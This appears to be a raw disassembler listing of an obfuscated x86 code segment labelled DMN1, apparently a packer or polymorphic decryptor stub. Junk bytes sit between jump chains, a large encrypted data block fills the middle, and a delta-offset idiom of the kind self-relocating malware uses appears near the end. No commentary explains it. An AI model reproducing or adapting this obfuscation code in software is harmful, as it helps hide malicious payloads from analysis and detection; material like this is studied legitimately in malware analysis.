loc_46C364:				; CODE XREF: DMN1:loc_46C34Bj
		xchg	edx, eax
		xchg	ebx, ecx
		jmp	short loc_46C373
; ---------------------------------------------------------------------------
		xchg	eax, edx
		leave
		and	al, 0E6h
		test	eax, 29112CE7h


loc_46C373:				; CODE XREF: DMN1:0046C368j
		test	edi, 0D51D013Fh
		xchg	eax, ebp
		mov	esi, [ebp+0]
		neg	ebx
		jmp	short loc_46C396
; ---------------------------------------------------------------------------
		dw 292h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0DDh, 5Dh, 5Eh
		dd 904C8868h, 0C9DF4759h, 94BD303Fh
; ---------------------------------------------------------------------------
		and	cl, bl


loc_46C396:				; CODE XREF: DMN1:0046C380j
		jmp	short loc_46C3B7
; ---------------------------------------------------------------------------
		dd 6E24C432h, 605E85D2h, 4B1704B5h, 826BFB60h, 111A8CBh
		dd 24DD4B1Fh, 1E81078Fh
		db 0B7h, 0CDh, 0F0h
; ---------------------------------------------------------------------------


loc_46C3B7:				; CODE XREF: DMN1:loc_46C396j
		jmp	short loc_46C3BB
; ---------------------------------------------------------------------------
		db 3Fh,	5
; ---------------------------------------------------------------------------


loc_46C3BB:				; CODE XREF: DMN1:loc_46C3B7j
		jmp	short loc_46C3DA
; ---------------------------------------------------------------------------
		retn	85E2h
; ---------------------------------------------------------------------------
		aaa
		lahf
		retf	0D78Dh
; ---------------------------------------------------------------------------
		db 7Ah,	6Fh, 0A4h
		dd 472E6FEEh, 0F2180CD3h, 68B8DF5Bh, 10FC75DEh
; ---------------------------------------------------------------------------
		mov	cl, 52h


loc_46C3DA:				; CODE XREF: DMN1:loc_46C3BBj
		jmp	short loc_46C3F6
; ---------------------------------------------------------------------------
		dd 1EC7C9D4h, 6D5536EAh, 2A6F099Ah, 0D486C0FEh,	2B43DC4Ah
		dd 88CF1639h
; ---------------------------------------------------------------------------
		mov	ah, 0DFh


loc_46C3F6:				; CODE XREF: DMN1:loc_46C3DAj
		stc
		jmp	short loc_46C412
; ---------------------------------------------------------------------------
		db 78h,	65h, 1Bh
		dd 0B284500Dh, 617BE253h, 0AD439B84h, 1BD01397h, 23C6A72Eh
		db 60h,	0BDh
; ---------------------------------------------------------------------------


loc_46C412:				; CODE XREF: DMN1:0046C3F7j
		jmp	short loc_46C42A
; ---------------------------------------------------------------------------
		dd 0A4CF47F5h, 152F52h,	3870FEF7h, 0F1F0CCC9h, 5C3C36F1h
; ---------------------------------------------------------------------------
		ror	byte ptr [edi],	1


loc_46C42A:				; CODE XREF: DMN1:loc_46C412j
		test	ebp, 0E65C4F09h
		cld
		jmp	short loc_46C442
; ---------------------------------------------------------------------------
		align 4
		dd 3AB14DCFh, 0A263A7EDh, 0E1885605h
		db 0DCh, 52h
; ---------------------------------------------------------------------------


loc_46C442:				; CODE XREF: DMN1:0046C431j
		jmp	short loc_46C456
; ---------------------------------------------------------------------------
		sahf
		retf	385Ch
; ---------------------------------------------------------------------------
		dd 223FBE53h, 4C4E8448h, 22918FD4h
		db 0B8h, 66h
; ---------------------------------------------------------------------------


loc_46C456:				; CODE XREF: DMN1:loc_46C442j
		xor	esi, [ecx]
		jmp	short loc_46C46F
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		adc	esi, edi
		sub	[edi-2Dh], esi
		xor	[esi-36A399B9h], ebx
		sbb	[edx+308036D8h], ah
		sbb	[edi+7], ah


loc_46C46F:				; CODE XREF: DMN1:0046C458j
		stc
		bswap	ebx
		xchg	ebx, edx
		jmp	short loc_46C48E
; ---------------------------------------------------------------------------
		mov	edi, 3B1EF673h
		fsub	st, st(7)
		cmp	eax, [eax+4BD59257h]
		pop	ecx
		mul	dword ptr [edx-47h]
		dec	ebx
		adc	[ebx+5C6DC9Ch],	edi


loc_46C48E:				; CODE XREF: DMN1:0046C474j
		xchg	ecx, ebp
		clc
		jmp	short loc_46C494
; ---------------------------------------------------------------------------
		db 0B5h
; ---------------------------------------------------------------------------


loc_46C494:				; CODE XREF: DMN1:0046C491j
		jmp	short loc_46C4A6
; ---------------------------------------------------------------------------
		dw 0A6B7h
		dd 0A2907078h, 618932EAh, 24B8C093h
		db 5Ch,	0B3h
; ---------------------------------------------------------------------------


loc_46C4A6:				; CODE XREF: DMN1:loc_46C494j
		xchg	ecx, esp
		xchg	esi, [ebp+0]
		xchg	ebx, eax
		jmp	short loc_46C4CC
; ---------------------------------------------------------------------------
		db 34h
		dd 2F99CC96h, 8577C486h, 2BC12740h, 28CB5C1Dh, 0D0993F4h
		dd 3177CDFh, 0A9FDA730h
; ---------------------------------------------------------------------------


loc_46C4CC:				; CODE XREF: DMN1:0046C4ADj
		xchg	ebp, ecx
		jmp	short loc_46C4E5
; ---------------------------------------------------------------------------
		db 89h,	0C0h
		dw 0ABBDh
		dd 562C828Dh, 70A6168Ah, 2563CA1h, 8CBAF582h
		db 85h
; ---------------------------------------------------------------------------


loc_46C4E5:				; CODE XREF: DMN1:0046C4CEj
		jmp	short loc_46C4F2
; ---------------------------------------------------------------------------
		mov	edx, 4C1C31CDh
		add	dh, [ebx]
		db	2Eh
		cwde
		mov	cl, 0E0h


loc_46C4F2:				; CODE XREF: DMN1:loc_46C4E5j
		jmp	short loc_46C501
; ---------------------------------------------------------------------------
		dd 220874A5h, 283E2D7h,	0A8B00ACCh
; ---------------------------------------------------------------------------
		push	esi


loc_46C501:				; CODE XREF: DMN1:loc_46C4F2j
		jmp	short loc_46C518
; ---------------------------------------------------------------------------
		db 0DBh
		dd 0E21A8314h, 8B0AEA35h, 85887593h, 35BA7417h,	0B6151007h
; ---------------------------------------------------------------------------


loc_46C518:				; CODE XREF: DMN1:loc_46C501j
		rol	esi, 1
		adc	esp, 54633C20h
		jmp	short loc_46C533
; ---------------------------------------------------------------------------
		dw 8263h
		dd 0A91AF31Ch, 10EF1E00h, 2EAE7258h
		db 5Fh,	5Ah, 1Dh
; ---------------------------------------------------------------------------


loc_46C533:				; CODE XREF: DMN1:0046C520j
		cld
		jmp	short loc_46C555
; ---------------------------------------------------------------------------
		dw 241Dh
		dd 0FB218021h, 0E421D787h, 5BEC8204h, 232E7DF5h, 15E56CCh
		dd 2DF02811h, 0F8FA5949h
		db 0E7h
; ---------------------------------------------------------------------------


loc_46C555:				; CODE XREF: DMN1:0046C534j
		jmp	short loc_46C567
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0D3292867h, 51C4527Ah, 728B0230h
		db 87h,	0DFh, 81h
; ---------------------------------------------------------------------------


loc_46C567:				; CODE XREF: DMN1:loc_46C555j
		xchg	edi, esi
		jmp	short loc_46C570
; ---------------------------------------------------------------------------
		db 1Bh
		dd 0B6D31446h
; ---------------------------------------------------------------------------


loc_46C570:				; CODE XREF: DMN1:0046C569j
		stc
		sub	edi, 7A806D3Bh
		xor	esi, 0B64A3B04h
		jmp	short loc_46C58E
; ---------------------------------------------------------------------------
		db 0B2h
		dd 17C17D3Fh, 0FB223AAh, 740F2061h
		db 6Eh,	0BEh
; ---------------------------------------------------------------------------


loc_46C58E:				; CODE XREF: DMN1:0046C57Dj
		and	esp, 4399DD4h
		xchg	ecx, esp
		jmp	short loc_46C599
; ---------------------------------------------------------------------------
		db 1
; ---------------------------------------------------------------------------


loc_46C599:				; CODE XREF: DMN1:0046C596j
		xchg	edi, ecx
		stc
		stc
		xchg	edi, esi
		jmp	short loc_46C5A5
; ---------------------------------------------------------------------------
		db 25h,	0BFh, 0EFh
		db 21h
; ---------------------------------------------------------------------------


loc_46C5A5:				; CODE XREF: DMN1:0046C59Fj
		xchg	ecx, [esp]
		neg	edx
		jmp	short loc_46C5CA
; ---------------------------------------------------------------------------
		dd 5105B53h, 0C5854412h, 0D04609E0h, 0C9FB0A56h, 0AAD6C6CCh
		dd 0ED0188C7h, 32A55BEBh
; ---------------------------------------------------------------------------
		inc	ebp
		lodsb


loc_46C5CA:				; CODE XREF: DMN1:0046C5AAj
		xor	edx, 22AA5F07h
		jmp	short loc_46C5EC
; ---------------------------------------------------------------------------
		dw 810Bh
		dd 0E09A5098h, 0F62E1807h, 0AF2E8021h, 0FC7B87C6h, 0ACC5E159h
		dd 0DD246FADh
; ---------------------------------------------------------------------------


loc_46C5EC:				; CODE XREF: DMN1:0046C5D0j
		jmp	short loc_46C60C
; ---------------------------------------------------------------------------
		dw 0ADA6h
		dd 0E253F136h, 0AF998130h, 0F51C7585h, 1D6C2150h, 584FDA6Ah
		dd 0E9196D52h, 0DFD8A54Eh
; ---------------------------------------------------------------------------


loc_46C60C:				; CODE XREF: DMN1:loc_46C5ECj
		cld
		mov	edi, ebp
		jmp	short loc_46C626
; ---------------------------------------------------------------------------
		db 51h,	0DAh, 0F3h
		dd 0A698A10h, 33A9B0Fh,	6E207029h, 41E4356Dh
; ---------------------------------------------------------------------------
		dec	eax
		dec	eax


loc_46C626:				; CODE XREF: DMN1:0046C60Fj
		xchg	eax, edi
		cmp	esi, 8B2AAD0h
		jmp	short loc_46C64C
; ---------------------------------------------------------------------------
		dd 552C9926h, 0A5683FF1h, 57BDBF1h, 0D7EF5538h,	0EC865270h
		dd 82D2D005h, 0F0A44714h
; ---------------------------------------------------------------------------


loc_46C64C:				; CODE XREF: DMN1:0046C62Ej
		jmp	short loc_46C65E
; ---------------------------------------------------------------------------
		dw 6F52h
		dd 0B96E8070h, 201A53EBh, 0F78376Ah
		db 51h,	86h
; ---------------------------------------------------------------------------


loc_46C65E:				; CODE XREF: DMN1:loc_46C64Cj
		jmp	short loc_46C67F
; ---------------------------------------------------------------------------
		dd 0A47E5BADh, 0A44B23EFh, 85400980h, 2080897Eh, 5741C8D9h
		dd 5991CFFAh, 3EE56B27h
; ---------------------------------------------------------------------------
		add	ebx, esp
		dec	ebp


loc_46C67F:				; CODE XREF: DMN1:loc_46C65Ej
		add	eax, ebx
		jmp	short loc_46C684
; ---------------------------------------------------------------------------
		db 0A0h
; ---------------------------------------------------------------------------


loc_46C684:				; CODE XREF: DMN1:0046C681j
		jmp	short loc_46C689
; ---------------------------------------------------------------------------
		dw 0E4C9h
		db 7Fh
; ---------------------------------------------------------------------------


loc_46C689:				; CODE XREF: DMN1:loc_46C684j
		jmp	short loc_46C693
; ---------------------------------------------------------------------------
		db 81h
		dd 7D3F0A29h
		db 14h,	58h, 0F4h
; ---------------------------------------------------------------------------


loc_46C693:				; CODE XREF: DMN1:loc_46C689j
		jmp	short loc_46C6B3
; ---------------------------------------------------------------------------
		db 2Ch,	0ABh, 0C9h
		dd 0BA883E7Ch, 0BB6AAE8Dh, 0DF2311E5h, 2A8C0D98h, 9E630B7Ah
		dd 658F5D4Bh
		db 30h,	74h, 0E7h
; ---------------------------------------------------------------------------


loc_46C6B3:				; CODE XREF: DMN1:loc_46C693j
		jmp	short loc_46C6C1
; ---------------------------------------------------------------------------
		db 0B2h, 61h, 0A8h
		dd 7A335489h, 2483C06Dh
		db 4
; ---------------------------------------------------------------------------


loc_46C6C1:				; CODE XREF: DMN1:loc_46C6B3j
		std
		jmp	short loc_46C6DE
; ---------------------------------------------------------------------------
		dd 0E6AC7926h, 6BAC39E1h, 0C6FB0850h, 0DC867E8h, 3EDC142Bh
		dd 0BE342451h
		db 0, 0C2h
; ---------------------------------------------------------------------------


loc_46C6DE:				; CODE XREF: DMN1:0046C6C2j
		jmp	short loc_46C6F4
; ---------------------------------------------------------------------------
		or	ah, bh
		inc	edi
		icebp
		pop	bx
		add	bh, dh
		pop	edi
		jmp	fword ptr [ebp+ebp*2-37824A87h]
; ---------------------------------------------------------------------------
		dd 0D80F6851h
; ---------------------------------------------------------------------------


loc_46C6F4:				; CODE XREF: DMN1:loc_46C6DEj
		jmp	short loc_46C712
; ---------------------------------------------------------------------------
		dw 9F96h
		dd 4822DC7Ch, 0C0974803h, 7C391CFFh, 0C623CA43h, 0D9A17834h
		dd 9F7ED472h
		db 65h,	0D1h
; ---------------------------------------------------------------------------


loc_46C712:				; CODE XREF: DMN1:loc_46C6F4j
		mov	[eax], ecx
		bswap	edx
		xchg	edx, esi
		xchg	edx, esp
		xchg	esi, ebx
		jmp	short loc_46C734
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 23h
		dd 0A6F011B6h, 0C27E00EBh, 0B37308B8h, 4BA44A83h, 90E1EC30h
; ---------------------------------------------------------------------------


loc_46C734:				; CODE XREF: DMN1:0046C71Cj
		jmp	short loc_46C737
; ---------------------------------------------------------------------------
		db 0D2h
; ---------------------------------------------------------------------------


loc_46C737:				; CODE XREF: DMN1:loc_46C734j
		jmp	short loc_46C740
; ---------------------------------------------------------------------------
		db 35h,	1Fh, 8
		dd 10EC8A4Eh
; ---------------------------------------------------------------------------


loc_46C740:				; CODE XREF: DMN1:loc_46C737j
		jmp	short loc_46C75F
; ---------------------------------------------------------------------------
		dw 0D910h
		dd 4CA4E0B1h, 0ECB5B9D1h, 0A45BC5D8h, 8398219Bh, 1A692A5Eh
		dd 7B1B775Fh
		db 69h,	8Bh, 0AFh
; ---------------------------------------------------------------------------


loc_46C75F:				; CODE XREF: DMN1:loc_46C740j
		xchg	edi, esp
		not	ecx
		add	esi, 3
		jmp	short loc_46C785
; ---------------------------------------------------------------------------
		mov	esi, 9DB3AAB9h
		mov	ch, 67h
		jnp	short loc_46C782
		pusha
		or	bl, cl
		das
		mov	ds:34F3B2B0h, eax
		mov	dh, [ecx+524BD4DCh]
		xor	bh, [ecx]


loc_46C782:				; CODE XREF: DMN1:0046C76Fj
		dec	edi
		rcl	byte ptr [esi],	1


loc_46C785:				; CODE XREF: DMN1:0046C766j
		jmp	short loc_46C78D
; ---------------------------------------------------------------------------
		db 28h
		dd 0A828ECECh
		db 70h
; ---------------------------------------------------------------------------


loc_46C78D:				; CODE XREF: DMN1:loc_46C785j
		xchg	esi, esi
		jmp	short loc_46C799
; ---------------------------------------------------------------------------
		db 49h,	0B8h, 0C7h
		dd 0C655073Ch
; ---------------------------------------------------------------------------
		inc	ebp


loc_46C799:				; CODE XREF: DMN1:0046C78Fj
		test	edi, 84DA9D00h
		add	esi, 1
		jmp	short loc_46C7B3
; ---------------------------------------------------------------------------
		dd 9987B22Ch, 61A22501h, 40EC71B0h
; ---------------------------------------------------------------------------
		sar	dword ptr [ecx-6Ch], cl


loc_46C7B3:				; CODE XREF: DMN1:0046C7A2j
		jmp	short loc_46C7B7
; ---------------------------------------------------------------------------
		db 8Ch,	0A5h
; ---------------------------------------------------------------------------


loc_46C7B7:				; CODE XREF: DMN1:loc_46C7B3j
		jmp	short loc_46C7C4
; ---------------------------------------------------------------------------
		mov	al, 0D3h
		adc	eax, 45C91E89h
		push	es
		xchg	ch, [edx-71h]


loc_46C7C4:				; CODE XREF: DMN1:loc_46C7B7j
		clc
		jmp	short loc_46C7DB
; ---------------------------------------------------------------------------
		db 67h
		dd 46D46C7Ch, 0BDB46020h, 0F3BD1FEBh, 6C4B035Bh
		db 0AFh, 0BCh, 0AAh
; ---------------------------------------------------------------------------


loc_46C7DB:				; CODE XREF: DMN1:0046C7C5j
		xchg	esi, ebp
		cmc
		jmp	short loc_46C7FE
; ---------------------------------------------------------------------------
		dd 2DAE93C1h, 90FD0E27h, 0ED53BCE2h, 2792E6D8h,	72111ADAh
		dd 0C549FEA2h, 8CFE6E8h
		db 0B9h, 0B2h
; ---------------------------------------------------------------------------


loc_46C7FE:				; CODE XREF: DMN1:0046C7DEj
		jmp	short loc_46C81E
; ---------------------------------------------------------------------------
		dd 0F9949771h, 5BCDF4DEh, 0EC10462Bh, 6EDD6575h, 7ED1E521h
		dd 1D86CEF1h, 58CEE74Ch
; ---------------------------------------------------------------------------
		aam	98h


loc_46C81E:				; CODE XREF: DMN1:loc_46C7FEj
		jmp	short loc_46C834
; ---------------------------------------------------------------------------
		dd 3B3FA79Ch, 8B386771h, 0BEBB4367h, 156B8989h,	74807B0Fh
; ---------------------------------------------------------------------------


loc_46C834:				; CODE XREF: DMN1:loc_46C81Ej
		jmp	short loc_46C840
; ---------------------------------------------------------------------------
		dw 0A7D0h
		dd 628FF843h, 0F51A4EF4h
; ---------------------------------------------------------------------------


loc_46C840:				; CODE XREF: DMN1:loc_46C834j
		dec	esp
		jz	short loc_46C8B3
		jmp	short loc_46C859
; ---------------------------------------------------------------------------
		db 0DBh, 53h, 0BEh
		dd 79E25B37h, 0A18CBFDh, 867A53A9h, 3BCB804Bh
		db 70h
; ---------------------------------------------------------------------------


loc_46C859:				; CODE XREF: DMN1:0046C843j
		jmp	short $+2
		jmp	short loc_46C866
; ---------------------------------------------------------------------------
		imul	ebx, [esi], 0C2C41136h
		inc	eax
		xlat
		push	es


loc_46C866:				; CODE XREF: DMN1:0046C85Bj
		xchg	edx, esi
		xchg	edx, ebp
		xchg	ebx, edx
		jmp	short loc_46C87B
; ---------------------------------------------------------------------------
		dw 28B4h
		dd 8A5F2E1h, 1860713h
		db 7Ah,	0ECh, 0CFh
; ---------------------------------------------------------------------------


loc_46C87B:				; CODE XREF: DMN1:0046C86Cj
		jmp	short loc_46C883
; ---------------------------------------------------------------------------
		db 0E8h, 68h, 0E3h
		db 65h,	0DDh, 97h
; ---------------------------------------------------------------------------


loc_46C883:				; CODE XREF: DMN1:loc_46C87Bj
		xchg	eax, esp
		inc	esp
		jmp	short loc_46C88F
; ---------------------------------------------------------------------------
		dd 88362FA7h
		db 0FCh, 0EAh, 3Ch
; ---------------------------------------------------------------------------


loc_46C88F:				; CODE XREF: DMN1:0046C886j
		jmp	short loc_46C8AA
; ---------------------------------------------------------------------------
		db 2, 4Eh, 0B3h
		dd 6CD33C50h, 0CCD4BA83h, 0A51C36E0h, 0D1F09BB0h, 1015421Bh
		db 0C6h, 32h
; ---------------------------------------------------------------------------


loc_46C8AA:				; CODE XREF: DMN1:loc_46C88Fj
		jmp	short $+2
		xchg	esp, esi
		jmp	loc_46C204
; ---------------------------------------------------------------------------


loc_46C8B3:				; CODE XREF: DMN1:0046C841j
		xchg	ebp, esi
		xchg	esp, edx
		jmp	short loc_46C8C5
; ---------------------------------------------------------------------------
		db 0B7h, 7Eh, 7
		dd 0E980CE19h, 1F329501h
		db 0B7h
; ---------------------------------------------------------------------------


loc_46C8C5:				; CODE XREF: DMN1:0046C8B7j
		jmp	short loc_46C8CD
; ---------------------------------------------------------------------------
		retn	3E84h
; ---------------------------------------------------------------------------
		dw 3A42h
; ---------------------------------------------------------------------------
		inc	ebp


loc_46C8CD:				; CODE XREF: DMN1:loc_46C8C5j
		jmp	short loc_46C8E5
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0C1607363h, 0DC0D837Bh, 0A966266Bh, 0B907AB60h, 513CEF18h
		db 0C1h
; ---------------------------------------------------------------------------


loc_46C8E5:				; CODE XREF: DMN1:loc_46C8CDj
		pop	esi
		jmp	short loc_46C8ED
; ---------------------------------------------------------------------------
		dd 1916D150h
		db 78h
; ---------------------------------------------------------------------------


loc_46C8ED:				; CODE XREF: DMN1:0046C8E6j
		xor	ebx, 4EE43A50h
		jmp	short loc_46C910
; ---------------------------------------------------------------------------
		db 76h,	68h, 30h
		dd 354C1001h, 8EADEDEFh, 2DF8A581h, 1CB69B7Ah, 6229569Ah
		dd 72BDF268h
; ---------------------------------------------------------------------------


loc_46C910:				; CODE XREF: DMN1:0046C8F3j
		std
		jmp	short loc_46C921
; ---------------------------------------------------------------------------
		db 27h
		dd 7D0FEDABh, 542FD534h, 756611A6h
		db 0B5h
; ---------------------------------------------------------------------------


loc_46C921:				; CODE XREF: DMN1:0046C911j
		jmp	short loc_46C927
; ---------------------------------------------------------------------------
		db 64h
		db 70h,	0D8h, 91h
; ---------------------------------------------------------------------------


loc_46C927:				; CODE XREF: DMN1:loc_46C921j
		std
		stc
		jmp	short loc_46C93A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 1226BB60h, 1B36A78h,	0EF364EE8h
; ---------------------------------------------------------------------------
		dec	edi
		push	ecx


loc_46C93A:				; CODE XREF: DMN1:0046C929j
		jmp	short loc_46C94D
; ---------------------------------------------------------------------------
		dd 0FD8E19DAh, 0C70880B0h, 8A9E1ED1h, 1388E2C6h
		db 0F2h
; ---------------------------------------------------------------------------


loc_46C94D:				; CODE XREF: DMN1:loc_46C93Aj
		cmc
		jmp	short loc_46C953
; ---------------------------------------------------------------------------
		db 1Ch,	7Eh, 7Bh
; ---------------------------------------------------------------------------


loc_46C953:				; CODE XREF: DMN1:0046C94Ej
		jmp	short loc_46C967
; ---------------------------------------------------------------------------
		db 79h,	1Ch, 9Ah
; ---------------------------------------------------------------------------
		fisubr	word ptr [eax-55h]
		jmp	short loc_46C9C3
; ---------------------------------------------------------------------------
		db 7Eh,	0A0h, 1Fh
		dd 1CFC34B1h
		db 83h,	87h, 8Fh
; ---------------------------------------------------------------------------


loc_46C967:				; CODE XREF: DMN1:loc_46C953j
		jmp	short loc_46C984
; ---------------------------------------------------------------------------
		db 8, 0B1h, 37h
		dd 9B473477h, 73CFAE70h, 96EF823h, 8201804h, 0F0992368h
		dd 5A3581E3h
; ---------------------------------------------------------------------------


loc_46C984:				; CODE XREF: DMN1:loc_46C967j
		jmp	short loc_46C9A1
; ---------------------------------------------------------------------------
		dw 6F5Fh
; ---------------------------------------------------------------------------


loc_46C988:				; CODE XREF: DMN1:0046C99Ej
		outsb
		int	6Ch		; DOS 3.2 Realtime Clock update
		out	0BDh, al	; Interrupt Controller #2, 8259A
		les	edi, [esp+ebp*8+22h]
		mov	cl, 0CAh
		sub	al, 0EDh
		pop	ds
		lodsb


loc_46C997:				; CODE XREF: DMN1:0046C9CBj
		mov	dl, 0C3h
		db	66h
		test	al, 42h
		int	7Ch		; IBM REXX88PC command language
		loopne	loc_46C988
		cwde


loc_46C9A1:				; CODE XREF: DMN1:loc_46C984j
		jmp	loc_46BCD9
; ---------------------------------------------------------------------------


loc_46C9A6:				; CODE XREF: DMN1:loc_46D73Cj
		popa
		pop	ebp
		jmp	loc_46C134
; ---------------------------------------------------------------------------
		db 0BCh, 7Fh, 0F6h
		dd 0DB0A2ADAh, 55621F64h, 709553FAh, 53EE8A44h
; ---------------------------------------------------------------------------
		sub	[esi-1Ch], edi


loc_46C9C3:				; CODE XREF: DMN1:0046C95Bj
		mov	ds:34BB832Fh, eax
		db	65h
		aad	91h
		jmp	short loc_46C997
; ---------------------------------------------------------------------------
		push	ds
		movsb
		mov	esp, 0F29DB03Fh
		xor	esp, ebp
		mov	bh, 53h
		mov	cl, 0CCh
		or	[edi-3D8CA72Fh], bl
		pop	esi
		pop	ebp
		cmc
		scasb
		add	eax, 0FC2F1327h
		sub	eax, 0CD9B5A0Eh
		mov	word ptr [edi+75192B04h], fs
		enter	0FFFFE142h, 3Ch
		retf
; ---------------------------------------------------------------------------
		db 45h,	0E5h, 0DEh
		dd 5D61C180h, 62A3EEE4h, 6D2F3D07h, 95C2EC67h, 8C22EC56h
		dd 0A7F16A15h, 0EFE93BBFh, 0C48C7668h, 0CDFE6B68h, 0EAE791EAh
		dd 0E56F9C1Ah, 6B218526h, 294EE9D3h, 4058AE3Ch,	917CC85Bh
		dd 9ED1CC6h, 0F36C3B6Bh, 687D4453h, 8897F2BDh, 0E71BCD81h
		dd 32B72609h, 8D88CDA1h, 0BDF61DD0h, 0BFCB05E4h, 82AC9554h
		dd 0C1544C28h, 507694FAh, 0D096F6EDh, 0E8ECAD39h, 0A707E5D1h
		dd 272946DDh, 208EBDB6h, 9BC9A850h, 8D960F63h, 12464190h
		dd 9A76A81h, 0E0F8192Dh, 8CF838DFh, 39D701A7h, 5702A38Dh
		dd 8944B776h, 12DC2495h, 1E4471FBh, 0AE4F3928h,	0FC6AB822h
		dd 771F1F13h, 3D049F95h, 54019171h, 8083342Ah, 95F8D1B9h
		dd 271F5CDDh, 365ECD94h, 9AE8A808h, 74FC0B74h, 0D2DFE575h
		dd 0F86292FEh, 89F28DFFh, 471899AFh, 50EF207Ch,	98706159h
		dd 1CE8FA3h, 6FCA3E9Eh,	9DD9970Fh, 0F70658B3h, 15D2614Fh
		dd 6D4EB480h, 0E2449FE3h, 0B79762h, 2213BB58h, 0AB1CE4D1h
		dd 74CFF33h, 2D949268h,	794731FFh, 0E9640074h, 2B2AA5Fh
		dd 0D73107B7h, 0D8ACBDABh, 8E8BBB1Dh, 0BB3A0D1Fh, 0E47FB665h
		dd 3B0D4000h, 20ADD6B4h, 666ECCD6h, 2C9E0FE0h, 18EFBF24h
		dd 5084C70Dh, 0E78DF441h, 0BA48F872h, 461E6F0Fh, 0CD4DDE18h
		dd 6B10225Fh, 0ED54C675h, 58B510E6h, 97B8A20Ch,	0DFCA7F87h
		dd 2021E9B4h, 337F19EEh, 60C4823Dh, 92C10814h, 0F341F296h
		dd 0BF4D2BCDh, 0C8A721A6h, 0A25C549Bh, 691F1AA1h, 19C408B1h
		dd 0E202B28Fh, 0B0437846h, 71AC0CDEh, 0F4C119F3h, 95C375FFh
		dd 8E18ED0Ch, 0CBD930AEh, 0A9FECE17h, 5B52D59Eh, 0BD44C6A5h
		dd 9E3DA06h, 0C98CC89Ah, 0DC0528CDh, 0CEB91BECh, 0F19282D0h
		dd 0F3665A3h, 0B2105C7h, 0AD090B68h, 0EE22CCA4h, 99B41204h
		dd 616EB87Fh, 271FB1D8h, 0B87AFAA0h, 827567A9h,	7D2FC5E7h
		dd 46B07556h, 13D2B1F8h, 36395F9Dh, 132D9351h, 0B87AE0Bh
		dd 0B004BE29h, 0F2A94486h, 5C6FF785h, 9444527h,	7DF5B48Eh
		dd 53260930h, 1AE78FBFh, 0F23EFDD8h, 1996C3E8h,	0BE4AF590h
		dd 13B113F8h, 56788F40h, 0A19DB820h, 0B821E4BAh, 604939ABh
		dd 0B432893h, 968254A9h, 0DA081D80h, 9344960Ah,	9213BC91h
		dd 973049A6h, 0A7F4C2FAh, 0E70748EEh, 6AEA88A1h, 9CA74478h
		dd 18D97E77h, 9C80EE19h, 0CAA3C041h, 0ECF51903h, 8B542607h
		dd 0ABA347EFh, 0DF85281Eh, 9B602480h, 3143A805h, 0EB28909Dh
		dd 591A8403h, 68065AD2h, 0B6CC0192h, 51EB1A7Ch,	6B3477D8h
		dd 7B8D97D1h, 961224Ch,	0B14BE62Ch, 30582110h, 0AF81A179h
		dd 298F2431h, 4497E120h, 18C0B096h, 0ACA66635h,	0CC819761h
		dd 0D2D31347h, 79B3ACEh, 0B1864E02h, 3C08284Dh,	0C73FDB52h
		dd 0B1AC04A1h, 2914A792h, 0CE4A7D67h, 6DDA32F3h, 9D64BC34h
		dd 2A9D321Fh, 4055340Bh, 0D96AF864h, 0B076717Eh, 7507DB4Bh
		dd 681305B6h, 31109443h, 25E881C2h, 98D3630Ah, 5B3A6DD1h
		dd 0DDFEA92h, 260BDBE7h, 15FEB7C3h, 83EF139Eh, 2D970F76h
		dd 36C88D71h, 8E63B261h, 2352C7ACh, 0C8E34EFFh,	9291093Ch
		dd 0EB61C8C4h, 80950068h, 0F02F3BB8h, 7A354A2h,	704BC94Fh
		dd 2E52E1C1h, 85A4E175h, 0EFF172B5h, 0BB3B2BA4h, 0CAA455BAh
		dd 0ACA5777Eh, 6B298349h, 5DD6A185h, 0FE8125BEh, 0CBE92DD4h
		dd 0ACF825B3h, 5A667D48h, 633E7131h, 0B51117E4h, 57607442h
		dd 0EA795379h, 3ACDB603h, 0F74B8F3Ah, 0C2C11993h, 0E9677AFBh
		dd 48AAD681h, 7FDCCD96h, 0A9CF715Fh, 0F42EBF4Fh, 7AF00C93h
		dd 0DA12155Fh, 243685D0h, 0E5C40FCAh, 0FAE1FC2Ch, 74C9FC4Dh
		dd 14F5EF22h, 3BA02A7Bh, 0FC35DDF6h, 6E5FEB28h,	19A36861h
		dd 0F24477C6h, 0E92AC7EBh, 0EB346998h, 0CA4D1FDCh, 4D0A1961h
		dd 465607ECh, 0B5F763B1h, 0AD70F72Dh, 4A70CD7Eh, 292A9D8Fh
		dd 81E599F7h, 0FB3C42FFh, 530C4976h, 0A25F8285h, 87CDEA80h
		dd 50C50232h, 285D1C58h, 732A147Ah, 0E5BFEA4Eh,	5BC98EB0h
		dd 6203C337h, 0E5F8371Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	$+5
		pop	ebp
		sub	ebp, 6CE58h
		pusha
		mov	eax, 33B71DE1h
		push	eax
		xchg	edx, esp
		jmp	short loc_46CE82
; ---------------------------------------------------------------------------
		dw 9E5Dh
		dd 3E338FA7h, 0D2122630h, 874E1DBFh, 545C67A8h,	1CC57127h
		db 84h,	0BBh
; ---------------------------------------------------------------------------


loc_46CE82:				; CODE XREF: DMN1:0046CE68j
		jmp	short loc_46CE91
; ---------------------------------------------------------------------------
		dd 9CD69322h, 376F8C67h, 0F800FA35h
; ---------------------------------------------------------------------------
		xchg	eax, esi


loc_46CE91:				; CODE XREF: DMN1:loc_46CE82j
		xchg	ebx, esi
		cld
		jmp	short loc_46CEB1
; ---------------------------------------------------------------------------
		dw 3362h
		dd 4ECDFFD7h, 0BFB861C6h, 57954103h, 356D57E5h,	0FE65E38h
		dd 74D25554h
		db 7Fh
; ---------------------------------------------------------------------------


loc_46CEB1:				; CODE XREF: DMN1:0046CE94j
		clc
		jmp	short loc_46CECE
; ---------------------------------------------------------------------------
		dd 8DA7BDD6h, 0F87FDF90h, 2125014Fh, 67414D79h,	0DAE99568h
		dd 13C653CEh
		db 0ACh, 7Bh
; ---------------------------------------------------------------------------


loc_46CECE:				; CODE XREF: DMN1:0046CEB2j
		bswap	eax
		jmp	short loc_46CEEC
; ---------------------------------------------------------------------------
		dw 1E2Ch
		dd 0F8440F95h, 59432B57h, 0F9DF491h, 0F8B6E3E6h, 0ACD46699h
		dd 205879A6h
; ---------------------------------------------------------------------------


